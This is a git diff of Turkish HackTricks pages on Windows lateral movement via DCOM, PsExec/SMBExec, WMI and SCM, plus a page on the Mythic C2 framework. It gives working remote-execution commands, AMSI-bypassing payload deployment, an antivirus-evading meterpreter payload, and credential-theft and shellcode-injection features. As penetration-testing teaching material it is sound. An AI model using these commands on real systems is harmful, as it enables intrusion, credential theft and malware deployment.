Bu komut DCOM uygulamasına bağlanır ve COM nesnesinin bir örneğini döndürür. ExecuteShellCommand yöntemi daha sonra uzak ana bilgisayarda bir işlemi yürütmek için çağrılabilir. İşlem aşağıdaki adımları içerir:
|
||||
Bu komut, DCOM uygulamasına bağlanır ve COM nesnesinin bir örneğini döndürür. ExecuteShellCommand yöntemi daha sonra uzak ana bilgisayarda bir işlemi yürütmek için çağrılabilir. İşlem aşağıdaki adımları içerir:
|
||||
|
||||
Yöntemleri kontrol et:
|
||||
```powershell
|
||||
Check methods:
|
||||
```bash
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
RCE Elde Et:
|
||||
```powershell
|
||||
```bash
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
||||
@ -42,21 +42,26 @@ Açık Launch Permissions eksikliği nedeniyle iki özel nesne, `ShellBrowserWin
|
||||
|
||||
### ShellWindows
|
||||
|
||||
ProgID'si olmayan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance`, AppID'sini kullanarak nesne oluşturmayı kolaylaştırır. Bu süreç, `ShellWindows` için CLSID'yi almak üzere OleView .NET'i kullanır. Oluşturulduktan sonra, `WindowsShell.Item` yöntemi aracılığıyla etkileşim mümkündür ve bu, `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar.
|
||||
ProgID'si olmayan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance`, AppID'sini kullanarak nesne oluşturmayı kolaylaştırır. Bu işlem, `ShellWindows` için CLSID'yi almak üzere OleView .NET'i kullanır. Oluşturulduktan sonra, `WindowsShell.Item` yöntemi aracılığıyla etkileşim mümkündür ve bu, `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar.
|
||||
|
||||
Nesneyi oluşturmak ve komutları uzaktan çalıştırmak için örnek PowerShell komutları sağlanmıştır:
|
||||
```powershell
|
||||
Nesneyi oluşturmak ve uzaktan komutlar çalıştırmak için örnek PowerShell komutları sağlanmıştır:
|
||||
```bash
|
||||
# Example
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
$item = $obj.Item()
|
||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||
|
||||
# Need to upload the file to execute
|
||||
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
|
||||
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
|
||||
```
|
||||
### Lateral Movement with Excel DCOM Objects
|
||||
|
||||
Lateral hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Ayrıntılı bilgi için, DCOM üzerinden lateral hareket için Excel DDE'yi kullanma konusundaki tartışmayı [Cybereason'un blogunda](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) okumanız önerilir.
|
||||
|
||||
Empire projesi, DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, RCE için Excel'i istismar etmenin farklı yöntemlerini sergileyen [Empire'ın GitHub deposundaki](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) betikten alıntılar bulunmaktadır:
|
||||
```powershell
|
||||
Empire projesi, DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'i RCE için istismar etmenin farklı yöntemlerini sergileyen [Empire'ın GitHub deposundaki](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) betikten alıntılar bulunmaktadır:
|
||||
```bash
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
@ -88,13 +93,25 @@ Bu teknikleri otomatikleştirmek için iki araç vurgulanmıştır:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
- [SharpMove](https://github.com/0xthirteen/SharpMove):
|
||||
```bash
|
||||
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
|
||||
```
|
||||
## Otomatik Araçlar
|
||||
|
||||
- Powershell betiği [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), diğer makinelerde kod çalıştırmanın tüm yorumlanan yollarını kolayca çağırmanıza olanak tanır.
|
||||
- Uzak sistemlerde DCOM kullanarak komutlar çalıştırmak için Impacket'in `dcomexec.py` aracını kullanabilirsiniz.
|
||||
```bash
|
||||
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
|
||||
```
|
||||
- Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
- Ayrıca [**SharpMove**](https://github.com/0xthirteen/SharpMove) kullanabilirsiniz.
|
||||
```bash
|
||||
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
@ -1,23 +1,24 @@
|
||||
# PsExec/Winexec/ScExec
|
||||
# PsExec/Winexec/ScExec/SMBExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Nasıl çalışırlar
|
||||
|
||||
Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının, SMB üzerinden hedef makinede uzaktan yürütme sağlamak için nasıl manipüle edildiğini göstermektedir:
|
||||
Süreç, aşağıdaki adımlarda özetlenmiştir ve SMB üzerinden hedef makinede uzaktan yürütme sağlamak için hizmet ikililerinin nasıl manipüle edildiğini göstermektedir:
|
||||
|
||||
1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir.
|
||||
1. **Bir hizmet ikilisinin ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir.
|
||||
2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır.
|
||||
3. Hizmet **uzaktan başlatılır**.
|
||||
4. Çıkışta, hizmet **durdurulur ve ikili dosya silinir**.
|
||||
|
||||
### **PsExec'i Manuel Olarak Yürütme Süreci**
|
||||
### **PsExec'i Manuel Olarak Çalıştırma Süreci**
|
||||
|
||||
Antivirüs tespitinden kaçınmak için Veil kullanılarak obfuscate edilmiş, 'met8888.exe' adında bir yürütülebilir yük (msfvenom ile oluşturulmuş) olduğu varsayıldığında, aşağıdaki adımlar izlenir:
|
||||
Antivirüs tespitinden kaçınmak için msfvenom ile oluşturulmuş ve Veil kullanılarak obfuscate edilmiş bir yürütülebilir yük (payload) olduğunu varsayalım, 'met8888.exe' adında, bir meterpreter reverse_http yükünü temsil eden, aşağıdaki adımlar izlenir:
|
||||
|
||||
- **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir.
|
||||
- **Bir hizmetin oluşturulması**: Windows `sc` komutu kullanılarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan bir hizmet "meterpreter" adıyla yüklenen ikili dosyaya işaret edecek şekilde oluşturulur.
|
||||
- **Hizmetin başlatılması**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir.
|
||||
- İkili dosyayı kopyalamak yerine, doğrudan argümanlardan komutları yürütmek için `powershell.exe` veya `cmd.exe` gibi bir LOLBAS ikilisi kullanmak da mümkündür. Örneğin, `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
|
||||
- **Bir hizmet oluşturma**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlar, yüklenen ikili dosyaya işaret eden "meterpreter" adında bir hizmet oluşturulur.
|
||||
- **Hizmeti başlatma**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikilisi olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikilinin yürütülmesidir.
|
||||
|
||||
Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığını gösterecektir.
|
||||
|
||||
@ -25,12 +26,23 @@ Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığı
|
||||
|
||||
Daha ayrıntılı adımları bulabilirsiniz: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
**Windows Sysinternals ikilisi PsExec.exe'yi de kullanabilirsiniz:**
|
||||
- Ayrıca **Windows Sysinternals ikilisi PsExec.exe** kullanabilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
|
||||
Veya webddav üzerinden erişebilirsiniz:
|
||||
```bash
|
||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
|
||||
```
|
||||
- Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
|
||||
```bash
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
- Ayrıca [**SharpMove**](https://github.com/0xthirteen/SharpMove) kullanabilirsiniz:
|
||||
```bash
|
||||
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
||||
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
||||
```
|
||||
- **Impacket'in `psexec` ve `smbexec.py`**'sini de kullanabilirsiniz.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
15
src/windows-hardening/lateral-movement/rdpexec.md
Normal file
15
src/windows-hardening/lateral-movement/rdpexec.md
Normal file
@ -0,0 +1,15 @@
|
||||
# RDPexec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Nasıl Çalışır
|
||||
|
||||
**RDPexec**, RDP kullanarak sisteme giriş yaparak komutları çalıştırmak için temelde bir yöntemdir.
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-rdp.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
15
src/windows-hardening/lateral-movement/scmexec.md
Normal file
15
src/windows-hardening/lateral-movement/scmexec.md
Normal file
@ -0,0 +1,15 @@
|
||||
# DCOM Exec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## SCM
|
||||
|
||||
**SCMExec**, uzaktan sistemlerde komutları çalıştırmak için Service Control Manager (SCM) kullanarak bir hizmet oluşturma tekniğidir. Bu yöntem, Kullanıcı Hesabı Kontrolü (UAC) ve Windows Defender gibi bazı güvenlik kontrollerini atlayabilir.
|
||||
|
||||
## Tools
|
||||
|
||||
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
|
||||
|
||||
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,37 +0,0 @@
|
||||
# SmbExec/ScExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Nasıl Çalışır
|
||||
|
||||
**Smbexec**, Windows sistemlerinde uzaktan komut yürütmek için kullanılan bir araçtır, **Psexec**'e benzer, ancak hedef sistemde herhangi bir zararlı dosya bırakmaktan kaçınır.
|
||||
|
||||
### **SMBExec** Hakkında Ana Noktalar
|
||||
|
||||
- Hedef makinede cmd.exe (%COMSPEC%) aracılığıyla komutları yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz.
|
||||
- Gizli yaklaşımına rağmen, yürütülen her komut için olay günlükleri oluşturur ve etkileşimsiz bir "shell" biçimi sunar.
|
||||
- **Smbexec** kullanarak bağlanma komutu şu şekildedir:
|
||||
```bash
|
||||
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||
```
|
||||
### Binariesiz Komut Çalıştırma
|
||||
|
||||
- **Smbexec**, hedefte fiziksel ikili dosyalar olmaksızın hizmet binPath'leri aracılığıyla doğrudan komut yürütmeyi sağlar.
|
||||
- Bu yöntem, bir Windows hedefinde tek seferlik komutlar yürütmek için faydalıdır. Örneğin, Metasploit'in `web_delivery` modülü ile birleştirildiğinde, PowerShell hedefli ters Meterpreter yükünün yürütülmesini sağlar.
|
||||
- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükü başarıyla yürütmek, geri çağırma ve yük yürütme sağlamak mümkündür; bu, hizmet yanıt hataları olsa bile Metasploit dinleyicisi ile gerçekleşir.
|
||||
|
||||
### Komut Örneği
|
||||
|
||||
Hizmeti oluşturmak ve başlatmak aşağıdaki komutlarla gerçekleştirilebilir:
|
||||
```bash
|
||||
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
|
||||
sc start [ServiceName]
|
||||
```
|
||||
Daha fazla bilgi için [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Nasıl Çalıştığı Açıklandı
|
||||
|
||||
Kullanıcı adı ve ya şifre ya da hash bilinen hostlarda süreçler WMI kullanılarak açılabilir. Komutlar Wmiexec tarafından WMI kullanılarak yürütülür ve yarı etkileşimli bir shell deneyimi sunar.
|
||||
Kullanıcı adı ve ya şifre ya da hash bilinen hostlarda süreçler WMI kullanılarak açılabilir. Komutlar Wmiexec tarafından WMI kullanılarak yürütülür ve yarı etkileşimli bir shell deneyimi sağlar.
|
||||
|
||||
**dcomexec.py:** Farklı DCOM uç noktalarını kullanarak, bu script wmiexec.py'ye benzer yarı etkileşimli bir shell sunar ve özellikle ShellBrowserWindow DCOM nesnesini kullanır. Şu anda MMC20, Uygulama, Shell Windows ve Shell Browser Window nesnelerini desteklemektedir. (kaynak: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
|
||||
**dcomexec.py:** Farklı DCOM uç noktalarını kullanarak, bu script wmiexec.py'ye benzer yarı etkileşimli bir shell sunar ve özellikle ShellBrowserWindow DCOM nesnesini kullanır. Şu anda MMC20'yi desteklemektedir. Uygulama, Shell Windows ve Shell Browser Window nesneleri. (kaynak: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
|
||||
|
||||
## WMI Temelleri
|
||||
|
||||
@ -57,7 +57,7 @@ $c.methods
|
||||
# Method listing and invocation
|
||||
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
|
||||
```
|
||||
## WMI Sayımı
|
||||
## WMI Sıralaması
|
||||
|
||||
### WMI Servis Durumu
|
||||
|
||||
@ -85,26 +85,42 @@ wmic useraccount list /format:list
|
||||
wmic group list /format:list
|
||||
wmic sysaccount list /format:list
|
||||
```
|
||||
WMI üzerinden belirli bilgilerin, örneğin yerel yöneticiler veya oturum açmış kullanıcılar gibi, uzaktan sorgulanması dikkatli komut yapısıyla mümkündür.
|
||||
Uzak bir makinedeki yerel yöneticiler veya oturum açmış kullanıcılar gibi belirli bilgileri WMI üzerinden uzaktan sorgulamak, dikkatli komut yapısı ile mümkündür.
|
||||
|
||||
### **Manuel Uzaktan WMI Sorgulama**
|
||||
|
||||
Uzaktaki bir makinedeki yerel yöneticilerin ve oturum açmış kullanıcıların gizli bir şekilde tanımlanması, belirli WMI sorguları aracılığıyla gerçekleştirilebilir. `wmic`, aynı zamanda bir metin dosyasından okuma yaparak birden fazla düğümde komutları aynı anda çalıştırmayı destekler.
|
||||
Uzak bir makinedeki yerel yöneticilerin ve oturum açmış kullanıcıların gizli bir şekilde tanımlanması, belirli WMI sorguları aracılığıyla gerçekleştirilebilir. `wmic`, aynı zamanda bir metin dosyasından okuma yaparak birden fazla düğümde komutları aynı anda çalıştırmayı destekler.
|
||||
|
||||
WMI üzerinden bir işlemi uzaktan yürütmek için, örneğin bir Empire ajanı dağıtmak için, aşağıdaki komut yapısı kullanılır; başarılı bir yürütme, "0" döndürme değeri ile gösterilir:
|
||||
WMI üzerinden bir işlemi uzaktan yürütmek için, örneğin bir Empire ajanı dağıtmak gibi, aşağıdaki komut yapısı kullanılır; başarılı bir yürütme, "0" döndürme değeri ile gösterilir:
|
||||
```bash
|
||||
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
|
||||
```
|
||||
Bu süreç, WMI'nin uzaktan yürütme ve sistem sayımı yeteneğini göstermekte, hem sistem yönetimi hem de penetrasyon testi için faydasını vurgulamaktadır.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## Otomatik Araçlar
|
||||
|
||||
- [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||
```
|
||||
- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
|
||||
```bash
|
||||
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
|
||||
# Stealthier execution with VBS
|
||||
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
|
||||
```
|
||||
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
|
||||
```bash
|
||||
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
|
||||
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
|
||||
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
|
||||
```
|
||||
- **Impacket'in `wmiexec`**'ini de kullanabilirsiniz.
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
163
src/windows-hardening/mythic.md
Normal file
163
src/windows-hardening/mythic.md
Normal file
@ -0,0 +1,163 @@
|
||||
# Mythic
|
||||
|
||||
## Mythic Nedir?
|
||||
|
||||
Mythic, red teaming için tasarlanmış açık kaynaklı, modüler bir komut ve kontrol (C2) çerçevesidir. Güvenlik profesyonellerinin Windows, Linux ve macOS dahil olmak üzere farklı işletim sistemlerinde çeşitli ajanları (payloads) yönetmesine ve dağıtmasına olanak tanır. Mythic, ajanları yönetmek, komutları yürütmek ve sonuçları toplamak için kullanıcı dostu bir web arayüzü sağlar, bu da onu kontrollü bir ortamda gerçek dünya saldırılarını simüle etmek için güçlü bir araç haline getirir.
|
||||
|
||||
### Kurulum
|
||||
|
||||
Mythic'i kurmak için resmi **[Mythic repo](https://github.com/its-a-feature/Mythic)** üzerindeki talimatları izleyin.
|
||||
|
||||
### Ajanlar
|
||||
|
||||
Mythic, **ele geçirilmiş sistemlerde görevleri yerine getiren payloads** olan birden fazla ajanı destekler. Her ajan, belirli ihtiyaçlara göre özelleştirilebilir ve farklı işletim sistemlerinde çalışabilir.
|
||||
|
||||
Varsayılan olarak Mythic'te herhangi bir ajan yüklü değildir. Ancak, [**https://github.com/MythicAgents**](https://github.com/MythicAgents) adresinde bazı açık kaynak ajanlar sunmaktadır.
|
||||
|
||||
O repo'dan bir ajan yüklemek için sadece şunu çalıştırmanız yeterlidir:
|
||||
```bash
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
|
||||
```
|
||||
Yeni ajanlar, Mythic zaten çalışıyorsa bile önceki komutla eklenebilir.
|
||||
|
||||
### C2 Profilleri
|
||||
|
||||
Mythic'teki C2 profilleri, **ajanların Mythic sunucusuyla nasıl iletişim kurduğunu** tanımlar. İletişim protokolünü, şifreleme yöntemlerini ve diğer ayarları belirtir. C2 profillerini Mythic web arayüzü aracılığıyla oluşturabilir ve yönetebilirsiniz.
|
||||
|
||||
Varsayılan olarak, Mythic hiçbir profil ile kurulmuştur, ancak bazı profilleri repodan [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) indirmeniz mümkündür:
|
||||
```bash
|
||||
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
|
||||
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
```
|
||||
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
|
||||
|
||||
Apollo, SpecterOps eğitim tekliflerinde kullanılmak üzere tasarlanmış, 4.0 .NET Framework kullanarak C# ile yazılmış bir Windows ajanıdır.
|
||||
|
||||
Bunu şu şekilde kurun:
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
|
||||
```
|
||||
Bu ajan, bazı ek özelliklerle birlikte Cobalt Strike'ın Beacon'una çok benzeyen birçok komuta sahiptir. Bunlar arasında şunlar desteklenmektedir:
|
||||
|
||||
### Yaygın eylemler
|
||||
|
||||
- `cat`: Bir dosyanın içeriğini yazdır
|
||||
- `cd`: Geçerli çalışma dizinini değiştir
|
||||
- `cp`: Bir dosyayı bir yerden başka bir yere kopyala
|
||||
- `ls`: Geçerli dizindeki veya belirtilen yoldaki dosyaları ve dizinleri listele
|
||||
- `pwd`: Geçerli çalışma dizinini yazdır
|
||||
- `ps`: Hedef sistemdeki çalışan süreçleri listele (ek bilgi ile)
|
||||
- `download`: Hedef sistemden yerel makineye bir dosya indir
|
||||
- `upload`: Yerel makineden hedef sisteme bir dosya yükle
|
||||
- `reg_query`: Hedef sistemdeki kayıt defteri anahtarlarını ve değerlerini sorgula
|
||||
- `reg_write_value`: Belirtilen kayıt defteri anahtarına yeni bir değer yaz
|
||||
- `sleep`: Ajanın uyku aralığını değiştir, bu da Mythic sunucusuyla ne sıklıkla kontrol yapacağını belirler
|
||||
- Ve daha fazlası, mevcut komutların tam listesini görmek için `help` kullanın.
|
||||
|
||||
### Yetki yükseltme
|
||||
|
||||
- `getprivs`: Geçerli iş parçacığı belirtecinde mümkün olan en fazla yetkiyi etkinleştir
|
||||
- `getsystem`: Winlogon'a bir tanıtıcı aç ve belirteci kopyala, böylece yetkileri SYSTEM seviyesine yükselt
|
||||
- `make_token`: Yeni bir oturum aç ve bunu ajana uygula, başka bir kullanıcıyı taklit etmeye olanak tanır
|
||||
- `steal_token`: Başka bir süreçten birincil belirteci çal, böylece ajan o sürecin kullanıcısını taklit edebilir
|
||||
- `pth`: Pass-the-Hash saldırısı, ajanın NTLM hash'ini kullanarak bir kullanıcı olarak kimlik doğrulamasına olanak tanır, düz metin parolasına ihtiyaç duymadan
|
||||
- `mimikatz`: Kimlik bilgilerini, hash'leri ve diğer hassas bilgileri bellekten veya SAM veritabanından çıkarmak için Mimikatz komutlarını çalıştır
|
||||
- `rev2self`: Ajanın belirtecini birincil belirtecine geri döndür, böylece yetkileri orijinal seviyeye düşür
|
||||
- `ppid`: Post-exploitation işleri için yeni bir ana süreç kimliği belirterek ana süreci değiştir, iş yürütme bağlamı üzerinde daha iyi kontrol sağlar
|
||||
- `printspoofer`: Yazıcı spooler güvenlik önlemlerini aşmak için PrintSpoofer komutlarını çalıştır, böylece yetki yükseltme veya kod yürütme sağlar
|
||||
- `dcsync`: Bir kullanıcının Kerberos anahtarlarını yerel makineye senkronize et, çevrimdışı parola kırma veya daha fazla saldırı için olanak tanır
|
||||
- `ticket_cache_add`: Mevcut oturum açma oturumuna veya belirtilen birine bir Kerberos bileti ekle, böylece bilet yeniden kullanımı veya taklitine olanak tanır
|
||||
|
||||
### Süreç yürütme
|
||||
|
||||
- `assembly_inject`: Uzak bir sürece .NET assembly yükleyici enjekte etmeye olanak tanır
|
||||
- `execute_assembly`: Ajanın bağlamında bir .NET assembly çalıştırır
|
||||
- `execute_coff`: Bellekte bir COFF dosyasını çalıştırır, derlenmiş kodun bellekte yürütülmesine olanak tanır
|
||||
- `execute_pe`: Yönetilmeyen bir yürütülebilir dosyayı (PE) çalıştırır
|
||||
- `inline_assembly`: Ajanın ana sürecini etkilemeden geçici kod yürütülmesine olanak tanıyan bir .NET assembly'yi geçici bir AppDomain'de çalıştırır
|
||||
- `run`: Hedef sistemde bir ikili dosyayı çalıştırır, yürütülebilir dosyayı bulmak için sistemin PATH'ini kullanır
|
||||
- `shinject`: Uzak bir sürece shellcode enjekte eder, böylece rastgele kodun bellekte yürütülmesine olanak tanır
|
||||
- `inject`: Ajan shellcode'unu uzak bir sürece enjekte eder, böylece ajanın kodunun bellekte yürütülmesine olanak tanır
|
||||
- `spawn`: Belirtilen yürütülebilir dosyada yeni bir ajan oturumu başlatır, böylece yeni bir süreçte shellcode'un yürütülmesine olanak tanır
|
||||
- `spawnto_x64` ve `spawnto_x86`: Post-exploitation işlerinde kullanılan varsayılan ikili dosyayı, çok gürültülü olan `rundll32.exe` parametreleri olmadan kullanmak yerine belirtilen bir yola değiştirir.
|
||||
|
||||
### Mithic Forge
|
||||
|
||||
Bu, hedef sistemde yürütülebilecek önceden derlenmiş yükler ve araçlar deposu olan Mythic Forge'dan **COFF/BOF** dosyalarını yüklemeye olanak tanır. Yüklenebilecek tüm komutlarla, bunları mevcut ajan sürecinde BOF olarak yürütmek mümkün olacaktır (genellikle daha gizli).
|
||||
|
||||
Yüklemeye başlamak için:
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/forge.git
|
||||
```
|
||||
Sonra, `forge_collections` kullanarak Mythic Forge'dan bir COFF/BOF modülünü gösterin, böylece bunları seçip ajan belleğine yükleyebilirsiniz. Varsayılan olarak, Apollo'da aşağıdaki 2 koleksiyon eklenmiştir:
|
||||
|
||||
- `forge_collections {"collectionName":"SharpCollection"}`
|
||||
- `forge_collections {"collectionName":"SliverArmory"}`
|
||||
|
||||
Bir modül yüklendikten sonra, `forge_bof_sa-whoami` veya `forge_bof_sa-netuser` gibi başka bir komut olarak listede görünecektir.
|
||||
|
||||
### Powershell & scripting execution
|
||||
|
||||
- `powershell_import`: Yeni bir PowerShell betiğini (.ps1) ajan önbelleğine ithal eder ve daha sonra çalıştırmak için hazırlar.
|
||||
- `powershell`: Ajan bağlamında bir PowerShell komutunu çalıştırır, gelişmiş betik yazma ve otomasyon sağlar.
|
||||
- `powerpick`: Bir PowerShell yükleyici derlemesini fedakâr bir süreçte enjekte eder ve bir PowerShell komutunu çalıştırır (powershell kaydı olmadan).
|
||||
- `psinject`: Belirtilen bir süreçte PowerShell'i çalıştırır, başka bir süreç bağlamında betiklerin hedefli olarak çalıştırılmasına olanak tanır.
|
||||
- `shell`: Ajan bağlamında bir shell komutunu çalıştırır, cmd.exe'de bir komut çalıştırmaya benzer.
|
||||
|
||||
### Lateral Movement
|
||||
|
||||
- `jump_psexec`: PsExec tekniğini kullanarak Apollo ajan yürütülebilir dosyasını (apollo.exe) kopyalayarak yeni bir ana bilgisayara yan hareket eder ve çalıştırır.
|
||||
- `jump_wmi`: WMI tekniğini kullanarak Apollo ajan yürütülebilir dosyasını (apollo.exe) kopyalayarak yeni bir ana bilgisayara yan hareket eder ve çalıştırır.
|
||||
- `wmiexecute`: WMI kullanarak yerel veya belirtilen uzak sistemde bir komut çalıştırır, taklit için isteğe bağlı kimlik bilgileri ile.
|
||||
- `net_dclist`: Belirtilen alan için etki alanı denetleyicilerinin bir listesini alır, yan hareket için potansiyel hedefleri belirlemek için yararlıdır.
|
||||
